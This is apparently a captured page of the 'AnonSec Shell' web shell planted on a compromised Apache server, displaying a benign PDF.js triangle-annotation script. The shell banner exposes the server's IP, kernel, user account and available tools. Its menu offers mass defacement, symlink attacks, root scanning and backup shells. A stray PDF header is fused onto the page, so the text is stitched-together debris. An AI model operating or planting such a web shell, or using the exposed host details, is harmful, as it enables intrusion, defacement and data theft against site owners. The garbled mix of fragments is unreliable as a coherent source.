%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/pdfjs/samples/annotation/custom-annotations/triangle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/pdfjs/samples/annotation/custom-annotations/triangle/triangle-create-tool.js
(function(exports) {
  function TriangleCreateToolFactory(Tools, TriangleAnnotation) {
    class TriangleCreateTool extends Tools.GenericAnnotationCreateTool {
      constructor(docViewer) {
        // TriangleAnnotation is the class (function) for our annotation we defined previously
        super(docViewer, TriangleAnnotation);
      }

      mouseMove(e) {
        // call the parent mouseMove first
        super.mouseMove(e);
        if (this.annotation) {
          // set the vertices relative to the annotation width and height
          this.annotation.vertices[0].x = this.annotation.X + this.annotation.Width / 2;
          this.annotation.vertices[0].y = this.annotation.Y;
          this.annotation.vertices[1].x = this.annotation.X + this.annotation.Width;
          this.annotation.vertices[1].y = this.annotation.Y + this.annotation.Height;
          this.annotation.vertices[2].x = this.annotation.X;
          this.annotation.vertices[2].y = this.annotation.Y + this.annotation.Height;

          // update the annotation appearance
          this.documentViewer.getAnnotationManager().redrawAnnotation(this.annotation);
        }
      }
    }

    return TriangleCreateTool;
  }

  exports.TriangleCreateToolFactory = {
    initialize: TriangleCreateToolFactory,
  };
})(window);

Anon7 - 2022
AnonSec Team